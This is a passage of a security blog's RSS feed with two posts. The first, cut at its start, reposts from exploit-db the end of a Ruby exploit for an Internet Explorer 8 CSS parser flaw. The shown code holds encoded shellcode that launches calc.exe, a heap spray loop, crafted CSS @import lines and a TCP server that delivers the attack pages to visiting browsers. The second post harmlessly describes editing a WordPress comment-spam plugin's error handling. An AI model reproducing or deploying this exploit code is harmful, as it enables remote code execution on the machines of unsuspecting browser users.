                             <span style="color:#996600;">&quot;%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c&quot;</span> <span style="color:#006600; font-weight:bold;">+</span>  
                             <span style="color:#996600;">&quot;%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5&quot;</span> <span style="color:#006600; font-weight:bold;">+</span>  
                             <span style="color:#996600;">&quot;%u6c61%u2e63%u7865%u0065&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span>; 
    var arr2 = <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006600; font-weight:bold;">&#93;</span>; 
    <span style="color:#9966CC; font-weight:bold;">for</span><span style="color:#006600; font-weight:bold;">&#40;</span>var i = <span style="color:#006666;">0</span>; i <span style="color:#006600; font-weight:bold;">&lt;</span> <span style="color:#006666;">30000</span>; i<span style="color:#006600; font-weight:bold;">++</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#123;</span> 
        arr2<span style="color:#006600; font-weight:bold;">&#91;</span>i<span style="color:#006600; font-weight:bold;">&#93;</span> = <span style="color:#006600; font-weight:bold;">&#91;</span>nops <span style="color:#006600; font-weight:bold;">+</span> shellcode<span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#9900CC;">join</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span>; 
    <span style="color:#006600; font-weight:bold;">&#125;</span> 
&nbsp;
    <span style="color:#006600; font-weight:bold;">//</span> write the link to the stylesheet 
    var link = document.<span style="color:#9900CC;">createElement</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;link&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span>; 
    link.<span style="color:#9900CC;">setAttribute</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;rel&quot;</span>, <span style="color:#996600;">&quot;Stylesheet&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span>; 
    link.<span style="color:#9900CC;">setAttribute</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;type&quot;</span>, <span style="color:#996600;">&quot;text/css&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span>; 
    link.<span style="color:#9900CC;">setAttribute</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;href&quot;</span>, <span style="color:#996600;">&quot;#{placeholder}&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span> 
    document.<span style="color:#9900CC;">getElementsByTagName</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;head&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#9900CC;">appendChild</span><span style="color:#006600; font-weight:bold;">&#40;</span>link<span style="color:#006600; font-weight:bold;">&#41;</span>; 
    <span style="color:#006600; font-weight:bold;">&lt;/</span>script<span style="color:#006600; font-weight:bold;">&gt;</span> 
HTML
<span style="color:#0066ff; font-weight:bold;">@html</span> = <span style="color:#996600;">&quot;<span style="color:#000099;">\x</span>fe<span style="color:#000099;">\x</span>ff&quot;</span> <span style="color:#006600; font-weight:bold;">+</span> to_uni<span style="color:#006600; font-weight:bold;">&#40;</span>@html<span style="color:#006600; font-weight:bold;">&#41;</span> 
<span style="color:#0066ff; font-weight:bold;">@html</span>.<span style="color:#CC0066; font-weight:bold;">gsub!</span><span style="color:#006600; font-weight:bold;">&#40;</span>to_uni<span style="color:#006600; font-weight:bold;">&#40;</span>placeholder<span style="color:#006600; font-weight:bold;">&#41;</span>, <span style="color:#0066ff; font-weight:bold;">@css_name</span><span style="color:#006600; font-weight:bold;">&#41;</span> 
&nbsp;
<span style="color:#0066ff; font-weight:bold;">@css</span> = <span style="color:#006600; font-weight:bold;">&lt;</span> <span style="color:#006600; font-weight:bold;">&lt;-</span>CSS
<span style="color:#0066ff; font-weight:bold;">@import</span> url<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;#{placeholder}&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span>; 
<span style="color:#0066ff; font-weight:bold;">@import</span> url<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;#{placeholder}&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span>; 
<span style="color:#0066ff; font-weight:bold;">@import</span> url<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;#{placeholder}&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span>; 
<span style="color:#0066ff; font-weight:bold;">@import</span> url<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">&quot;#{placeholder}&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span>; 
CSS
<span style="color:#0066ff; font-weight:bold;">@css</span> = <span style="color:#996600;">&quot;<span style="color:#000099;">\x</span>fe<span style="color:#000099;">\x</span>ff&quot;</span> <span style="color:#006600; font-weight:bold;">+</span> to_uni<span style="color:#006600; font-weight:bold;">&#40;</span>@css<span style="color:#006600; font-weight:bold;">&#41;</span> 
<span style="color:#0066ff; font-weight:bold;">@css</span>.<span style="color:#CC0066; font-weight:bold;">gsub!</span><span style="color:#006600; font-weight:bold;">&#40;</span>to_uni<span style="color:#006600; font-weight:bold;">&#40;</span>placeholder<span style="color:#006600; font-weight:bold;">&#41;</span>, <span style="color:#0066ff; font-weight:bold;">@css_name</span><span style="color:#006600; font-weight:bold;">&#41;</span> 
&nbsp;
<span style="color:#0066ff; font-weight:bold;">@index</span> = <span style="color:#006600; font-weight:bold;">&lt;&lt;-</span>INDEX
<span style="color:#006600; font-weight:bold;">&lt;</span>a href=<span style="color:#996600;">&quot;#{@html_name}&quot;</span><span style="color:#006600; font-weight:bold;">&gt;</span><span style="color:#008000; font-style:italic;">#{@html_name} </span>
INDEX
&nbsp;
TCPServer.<span style="color:#CC0066; font-weight:bold;">open</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006666;">55555</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#9966CC; font-weight:bold;">do</span> <span style="color:#006600; font-weight:bold;">|</span>srv<span style="color:#006600; font-weight:bold;">|</span> 
    <span style="color:#9966CC; font-weight:bold;">while</span> <span style="color:#0000FF; font-weight:bold;">true</span>
        cli = srv.<span style="color:#9900CC;">accept</span> 
        req = <span style="color:#996600;">&quot;&quot;</span>
        html = <span style="color:#996600;">&quot;&quot;</span>
        css = <span style="color:#996600;">&quot;&quot;</span>
        index = <span style="color:#996600;">&quot;&quot;</span>
        <span style="color:#9966CC; font-weight:bold;">next</span> <span style="color:#9966CC; font-weight:bold;">unless</span> sock_read<span style="color:#006600; font-weight:bold;">&#40;</span>cli, req, <span style="color:#006666;">5</span><span style="color:#006600; font-weight:bold;">&#41;</span> 
        <span style="color:#9966CC; font-weight:bold;">while</span> req.<span style="color:#9900CC;">length</span> <span style="color:#006600; font-weight:bold;">&gt;</span> <span style="color:#006666;">0</span>
            <span style="color:#9966CC; font-weight:bold;">if</span> req =~ <span style="color:#006600; font-weight:bold;">/</span>GET<span style="color:#006600; font-weight:bold;">/</span> 
                <span style="color:#9966CC; font-weight:bold;">if</span> req =~ <span style="color:#006600; font-weight:bold;">/</span>GET.<span style="color:#006600; font-weight:bold;">*</span><span style="color:#008000; font-style:italic;">#{Regexp.escape(@html_name)}/ </span>
                    <span style="color:#9966CC; font-weight:bold;">break</span> <span style="color:#9966CC; font-weight:bold;">unless</span> http_send<span style="color:#006600; font-weight:bold;">&#40;</span>cli, <span style="color:#0066ff; font-weight:bold;">@html</span>, <span style="color:#ff3333; font-weight:bold;">:type</span><span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#996600;">&quot;text/html&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span> 
                <span style="color:#9966CC; font-weight:bold;">elsif</span> req =~ <span style="color:#006600; font-weight:bold;">/</span>GET.<span style="color:#006600; font-weight:bold;">*</span>index<span style="color:#006600; font-weight:bold;">/</span> 
                    <span style="color:#9966CC; font-weight:bold;">break</span> <span style="color:#9966CC; font-weight:bold;">unless</span> http_send<span style="color:#006600; font-weight:bold;">&#40;</span>cli, <span style="color:#0066ff; font-weight:bold;">@index</span><span style="color:#006600; font-weight:bold;">&#41;</span> 
                <span style="color:#9966CC; font-weight:bold;">elsif</span> req =~ <span style="color:#006600; font-weight:bold;">/</span>GET.<span style="color:#006600; font-weight:bold;">*</span><span style="color:#008000; font-style:italic;">#{Regexp.escape(@css_name)}/ </span>
                    <span style="color:#9966CC; font-weight:bold;">break</span> <span style="color:#9966CC; font-weight:bold;">unless</span> http_send<span style="color:#006600; font-weight:bold;">&#40;</span>cli, <span style="color:#0066ff; font-weight:bold;">@css</span>, <span style="color:#ff3333; font-weight:bold;">:type</span><span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#996600;">&quot;text/css&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span> 
                <span style="color:#9966CC; font-weight:bold;">else</span>
                    <span style="color:#9966CC; font-weight:bold;">break</span> <span style="color:#9966CC; font-weight:bold;">unless</span> http_send<span style="color:#006600; font-weight:bold;">&#40;</span>cli, <span style="color:#0066ff; font-weight:bold;">@css</span>, <span style="color:#ff3333; font-weight:bold;">:type</span><span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#996600;">&quot;text/css&quot;</span><span style="color:#006600; font-weight:bold;">&#41;</span> 
                <span style="color:#9966CC; font-weight:bold;">end</span>
            <span style="color:#9966CC; font-weight:bold;">elsif</span> req =~ <span style="color:#006600; font-weight:bold;">/</span>QUIT<span style="color:#006600; font-weight:bold;">/</span> 
                <span style="color:#CC0066; font-weight:bold;">exit</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">&#41;</span> 
            <span style="color:#9966CC; font-weight:bold;">end</span>
            req = <span style="color:#996600;">&quot;&quot;</span>
            <span style="color:#9966CC; font-weight:bold;">next</span> <span style="color:#9966CC; font-weight:bold;">unless</span> sock_read<span style="color:#006600; font-weight:bold;">&#40;</span>cli, req, <span style="color:#006666;">5</span><span style="color:#006600; font-weight:bold;">&#41;</span> 
        <span style="color:#9966CC; font-weight:bold;">end</span>
        cli.<span style="color:#9900CC;">close</span> <span style="color:#9966CC; font-weight:bold;">rescue</span> <span style="color:#9966CC; font-weight:bold;">next</span>
    <span style="color:#9966CC; font-weight:bold;">end</span>
<span style="color:#9966CC; font-weight:bold;">end</span></pre></td></tr></table></div>

<p>Link:<a href="http://www.exploit-db.com/exploits/15746/">http://www.exploit-db.com/exploits/15746/</a><br />
<h3>相关文章</h3>
<ul class="related_posts">
<li>没有找到.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.h4ck.org.cn/2010/12/internet-explorer-8-css-parser-exploit-code/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ticket #11289, IE bug fix Error</title>
		<link>http://www.h4ck.org.cn/2010/12/ticket-11289-ie-bug-fix-error/</link>
		<comments>http://www.h4ck.org.cn/2010/12/ticket-11289-ie-bug-fix-error/#comments</comments>
		<pubDate>Fri, 17 Dec 2010 03:42:37 +0000</pubDate>
		<dc:creator>obaby</dc:creator>
				<category><![CDATA[博客相关『Blogger/WordPress』]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.h4ck.ws/?p=2259</guid>
		<description><![CDATA[<!-- Ticket #11289, IE bug fix: always pad the error page with enough characters such that it is greater than 512 bytes, even after gzip compression abcdefghijklmnopqrstuvwxyz1234567890aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz11223344556677889900abacbcbdcdcededfefegfgfhghgihihjijikjkjlklkmlmlnmnmononpopoqpqprqrqsrsrtstsubcbcdcdedefefgfabcadefbghicjkldmnoepqrfstugvwxhyz1i234j567k890laabmbccnddeoeffpgghqhiirjjksklltmmnunoovppqwqrrxsstytuuzvvw0wxx1yyz2z113223434455666777889890091abc2def3ghi4jkl5mno6pqr7stu8vwx9yz11aab2bcc3dd4ee5ff6gg7hh8ii9j0jk1kl2lmm3nnoo4p5pq6qrr7ss8tt9uuvv0wwx1x2yyzz13aba4cbcb5dcdc6dedfef8egf9gfh0ghg1ihi2hji3jik4jkj5lkl6kml7mln8mnm9ono -->]]></description>
			<content:encoded><![CDATA[<p>In the past 3 days ,every day there were almost 100 spam comments. The Askmit recognized these spams ,but i have to delete these spams myself .I dislike to do this ,so i reactived the Math comment spam protection plugin.However the plugin dosen&#8217;t work very well, if u post a comment with the answer blank or wrong ,it will just show u the fallow error message like this:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;!--</span> Ticket <span style="color: #666666; font-style: italic;">#11289, IE bug fix: always pad the error page with enough characters such that it is greater than 512 bytes, even after gzip compression abcdefghijklmnopqrstuvwxyz1234567890aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz11223344556677889900abacbcbdcdcededfefegfgfhghgihihjijikjkjlklkmlmlnmnmononpopoqpqprqrqsrsrtstsubcbcdcdedefefgfabcadefbghicjkldmnoepqrfstugvwxhyz1i234j567k890laabmbccnddeoeffpgghqhiirjjksklltmmnunoovppqwqrrxsstytuuzvvw0wxx1yyz2z113223434455666777889890091abc2def3ghi4jkl5mno6pqr7stu8vwx9yz11aab2bcc3dd4ee5ff6gg7hh8ii9j0jk1kl2lmm3nnoo4p5pq6qrr7ss8tt9uuvv0wwx1x2yyzz13aba4cbcb5dcdc6dedfef8egf9gfh0ghg1ihi2hji3jik4jkj5lkl6kml7mln8mnm9ono --&gt;
</span><span style="color: #339933;">&lt;</span>html xmlns<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;http://www.w3.org/1999/xhtml&quot;</span> <span style="color: #990000;">dir</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;ltr&quot;</span> lang<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;en-US&quot;</span><span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;</span>head<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;</span>meta http<span style="color: #339933;">-</span>equiv<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;Content-Type&quot;</span> content<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;text/html; charset=utf-8&quot;</span> <span style="color: #339933;">/&gt;</span>
<span style="color: #339933;">&lt;</span>title<span style="color: #339933;">&gt;</span>WordPress ? Error<span style="color: #339933;">&lt;/</span>title<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;</span>link rel<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;stylesheet&quot;</span> href<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;http://www.h4ck.ws/wp-admin/css/install.css&quot;</span> type<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;text/css&quot;</span> <span style="color: #339933;">/&gt;</span>
<span style="color: #339933;">&lt;/</span>head<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;</span>body id<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;error-page&quot;</span><span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;</span>p<span style="color: #339933;">&gt;</span>ERROR<span style="color: #339933;">:</span> Somethin here<span style="color: #339933;">.&lt;/</span>p<span style="color: #339933;">&gt;&lt;/</span>body<span style="color: #339933;">&gt;</span>
<span style="color: #339933;">&lt;/</span>html<span style="color: #339933;">&gt;</span></pre></td></tr></table></div>

<p><span id="more-2259"></span><br />
The error message can be located in the wp-includes/functions.php file at the line 2740:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">&lt; !DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;
&lt;!-- Ticket #11289, IE bug fix: always pad the error page with enough characters such that it is greater than 512 bytes, even after gzip compression abcdefghijklmnopqrstuvwxyz1234567890aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz11223344556677889900abacbcbdcdcededfefegfgfhghgihihjijikjkjlklkmlmlnmnmononpopoqpqprqrqsrsrtstsubcbcdcdedefefgfabcadefbghicjkldmnoepqrfstugvwxhyz1i234j567k890laabmbccnddeoeffpgghqhiirjjksklltmmnunoovppqwqrrxsstytuuzvvw0wxx1yyz2z113223434455666777889890091abc2def3ghi4jkl5mno6pqr7stu8vwx9yz11aab2bcc3dd4ee5ff6gg7hh8ii9j0jk1kl2lmm3nnoo4p5pq6qrr7ss8tt9uuvv0wwx1x2yyzz13aba4cbcb5dcdc6dedfef8egf9gfh0ghg1ihi2hji3jik4jkj5lkl6kml7mln8mnm9ono --&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; <span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'language_attributes'</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> language_attributes<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&gt;
&lt;head&gt;
	&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt;
	&lt;title&gt;&lt; ?php echo $title ?&gt;&lt;/title&gt;
	&lt;link rel=&quot;stylesheet&quot; href=&quot;<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$admin_dir</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>css/install.css&quot; type=&quot;text/css&quot; /&gt;
&lt; ?php
if ( 'rtl' == $text_direction ) : ?&gt;
	&lt;/link&gt;&lt;link rel=&quot;stylesheet&quot; href=&quot;<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$admin_dir</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>css/install-rtl.css&quot; type=&quot;text/css&quot; /&gt;
&lt; ?php endif; ?&gt;
&lt;/link&gt;&lt;/head&gt;
&lt;body id=&quot;error-page&quot;&gt;
&lt; ?php endif; ?&gt;
	&lt; ?php echo $message; ?&gt;
&lt;/body&gt;
&lt;/html&gt;</pre></td></tr></table></div>

<p>But the error was caused by the wp_die() function in the file plugins/math-comment-spam-protection/math-comment-spam-protection.php at the line 217:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">switch</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$result</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'No answer'</span><span style="color: #339933;">:</span> 
      wp_die<span style="color: #009900;">&#40;</span> apply_filters<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'pre_comment_content'</span><span style="color: #339933;">,</span> <span style="color: #990000;">stripslashes</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">g_opt</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'mcsp_opt_msg_wrong_answer'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
 <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'Wrong answer'</span><span style="color: #339933;">:</span> 
     wp_die<span style="color: #009900;">&#40;</span> apply_filters<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'pre_comment_content'</span><span style="color: #339933;">,</span> <span style="color: #990000;">stripslashes</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">g_opt</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'mcsp_opt_msg_wrong_answer'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>The error message was posted by the wp_die() function,vie google i found that the wp_die() funciton is just do the same thing as die() fuction.So i replaced the wp_die() with die(),then the error message disappered.lol.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">switch</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$result</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'No answer'</span><span style="color: #339933;">:</span> 
     <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;script language='JavaScript'&gt;window.alert('错误：请在评论框下方的区域中输入右侧数学运算的运算结果!');&lt;/script&gt;&quot;</span><span style="color: #339933;">;</span>
     <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
 <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">'Wrong answer'</span><span style="color: #339933;">:</span> 
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;script language='JavaScript'&gt;window.alert('错误：结果错误，请重新进行运算后输入正确的结果!');&lt;/script&gt;&quot;</span><span style="color: #339933;">;</span>	
    <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<h3>相关文章</h3>
<ul class="related_posts">
<li><a href="http://www.h4ck.org.cn/2010/11/h4ck-ws/" title="新域名 h4ck.ws" rel="bookmark inlinks">新域名 h4ck.ws</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2009/12/site-value/" title="博客/网站价值评估工具" rel="bookmark inlinks">博客/网站价值评估工具</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2009/09/wordpress-tags-add/" title="WordPress 正文添加标签选项" rel="bookmark inlinks">WordPress 正文添加标签选项</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2011/11/%e5%8d%9a%e5%ae%a2%e7%9a%84%e4%b8%80%e4%ba%9b%e6%94%b9%e5%8f%98/" title="博客的一些改变" rel="bookmark inlinks">博客的一些改变</a><span class="count">( 2 )</span></li>
<li><a href="http://www.h4ck.org.cn/2010/11/h4ck/" title="WP绑定多个域名" rel="bookmark inlinks">WP绑定多个域名</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2009/10/bloggerads/" title="部落格行銷 BloggerAds  为自己加薪" rel="bookmark inlinks">部落格行銷 BloggerAds  为自己加薪</a><span class="count">( 0 )</span></li>
<li><a href="http://www.h4ck.org.cn/2010/10/wpadmin-404-and-500-error/" title="wp-admin 诡异的404和500错误" rel="bookmark inlinks">wp-admin 诡异的404和500错误</a><span class="count">( 2 )</span></li>
<li><a href="http://www.h4ck.org.cn/2011/12/kis-2012/" title="卡巴斯基安全部队2012" rel="bookmark inlinks">卡巴斯基安全部队2012</a><span class="count">( 0 )</span></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.h4ck.org.cn/2010/12/ticket-11289-ie-bug-fix-error/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

